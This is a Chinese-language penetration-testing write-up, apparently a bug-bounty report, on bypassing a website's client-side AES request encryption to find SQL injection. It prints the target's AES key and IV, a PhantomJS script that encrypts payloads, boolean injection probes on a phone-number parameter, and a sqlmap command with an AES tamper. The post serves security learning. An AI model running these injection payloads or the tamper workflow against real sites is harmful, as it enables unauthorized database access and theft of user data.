专栏首页渗透测试红队专栏吊打SRC的加密传输实现SQLi挖掘

吊打SRC的加密传输实现SQLi挖掘

温馨提示

本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

0x01:解决加密传输

在进行常规渗透测试时,发现任何传输都是被加密过的

遇到此类情况,建议翻翻JS来寻找加密规则 右键-审查元素-event 可以快速定位到相关js代码

如图,可以发现当点击按钮时,会执行ForgetPwd.sendCode() 即ForgetPwd变量中的sendCode()函数 格式化JS代码后

可以看见使用了aes_encrypt函数对传入的值进行加密 但在当前JS中未搜寻到该函数声明,于是可以推算出是包含在另一个JS文件

在aes.js 中搜寻到了秘钥及偏移量,填充,模式 秘钥:d49d691f234441add2f610d5d11f6aad 偏移量:b883b5ec8ca259692869ada4b72dc6f5 填充:zeropadding 模式:CBC 先用在线AES解密网站试试

0x02 编写解密程序

然后为了方便渗透测,我这里用了phantomjs来写出解密程序

phantom.js下载链接

https://phantomjs.org/download.html

jsEncrypter_base.js:

var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('aes.js') && phantom.injectJs('pad-zeropadding.js');
// 处理函数
function js_encrypt(payload){
/*********************************************************/
var AesKey = "d49d691f234441add2f610d5d11f6aad";
var CBCIV = "b883b5ec8ca259692869ada4b72dc6f5";
var CBCOptions = {
     iv: CryptoJS.enc.Utf8.parse(CBCIV),
     mode:CryptoJS.mode.CBC,
     padding: CryptoJS.pad.ZeroPadding
}


var key = CryptoJS.enc.Utf8.parse(AesKey);
var secretData = CryptoJS.enc.Utf8.parse(payload);
var encrypted = CryptoJS.AES.encrypt(
       secretData,
       key,
       CBCOptions
     );
return encrypted.toString();
/*********************************************************/
}


if(wasSuccessful){
console.log("[*] load js successful");
console.log("[!] ^_^");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
}


var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
console.log('[+] ' + payload + ':' + encrypt_payload);
response.statusCode = 200;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = 200;
response.write("^_^\n\rhello jsEncrypter!");
response.close();
}
}catch(e){
console.log('\n-----------------Error Info--------------------')
var fullMessage = "Message: "+e.toString() + ':'+ e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
}
console.log(fullMessage);
console.log('---------------------------------------------')
console.log('[*] phantomJS exit!')
phantom.exit();
}
});

然后运行 phantomjs.exe jsEncrypter_base.js

利用jsEncrypter插件来测试

https://github.com/c0ny1/jsEncrypter/releases/tag/0.3.2

0x03 挖掘漏洞

先前解密成功后 我就开始手注了几个简单的payload 但回显不同,所以可以确定验证手机号此处是存在注入点的

比如 phone=16742264301'and '1'='0'&lang=zh 和 phone=16742264301'and '1'='1'&lang=zh

这个时候就面临两个选择,选择和sqlmap对接 or 用我自己半个月前写的盲注脚本 不过盲注脚本还需要二改 用的也不是像sqlmap那样二分法注入 很浪费时间,所以只能用sqlmap的

但sqlmap默认是没有这种加密脚本的,So 还得自己写个tamper

Aes.py公众号内回复AES_tamper即可下载

最后

python sqlmap.py -r 1.txt --tamper aes.py,lowercase.py,equaltolike.py --dbms mysql --proxy http://127.0.0.1:8080 --force-ssl --risk 3 --tech B --skip-urlencode --level 3

0x04 后续

后续还挖到了几处逻辑漏洞,未授权查看其他用户充值记录,重置任意用户密码等 和其他几处接口皆存在SQL注入

正所谓"金玉其外,败絮其中"啊

本文分享自微信公众号 - M78安全团队(M78sec),作者:05弟弟天下第一

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-11-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Java代码审计汇总系列(一)——SQL注入

    相比黑盒渗透的漏洞挖掘方式,代码审计具有更高的可靠性和针对性,更多的是依靠对代码、架构的理解;使用的审计工具一般选择Eclipse或IDEA;审计工作过程主要...

    Jayway
  • 网站代码审计 网站漏洞查找服务技术是如何锻炼学习的

    常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯...

    技术分享达人
  • 网站代码漏洞查找技术是如何学习到的

    常常许多人问过那样一个难题,网络黑客是确实那么强大吗?就现阶段来讲,在黑客游戏或影视剧中,网络黑客所展现的工作能力与实际是相差无异的(黑客帝国此类种类以外)。唯...

    网站安全专家
  • 挖掘机指数告诉你不一样的中国经济

    大数据文摘
  • SRC混子的漏洞挖掘之道

    还是那句老话,渗透测试的本质是信息收集,对于没有0day的弱鸡选手来说,挖SRC感觉更像是对企业的资产梳理,我们往往需要花很长的时间去做信息收集,收集与此公司相...

    7089bAt@PowerLi
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群:很多朋友们接触安全都是通过书籍;网上流传的PDF;亦或是通过论坛里的文章,但可能经过了这样一段时间的学习,了解了一些常见漏洞的原理之后,对于漏洞挖...

    HACK学习
  • 记一次从0到1的edu通杀0day挖掘

    可以发现这里get方法传输了账户和密码 然后直觉和经验告诉我 直接把student改为admin

    HACK学习
  • 嵌入式浏览器安全之网易云音乐RCE漏洞分析

    前面章节讲解了应用程序是如何与网页进行交互的,接下来章节分析通用软件历史漏洞,通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏...

    C4rpeDime
  • 嵌入式浏览器安全之网易云音乐RCE漏洞分析

    前面章节讲解了应用程序是如何与网页进行交互的,接下来章节分析通用软件历史漏洞,通过真实漏洞案例分析去了解嵌入式浏览器安全的攻击面。本章节讲的是网易云音乐rce漏...

    C4rpeDime

扫码关注云+社区

领取腾讯云代金券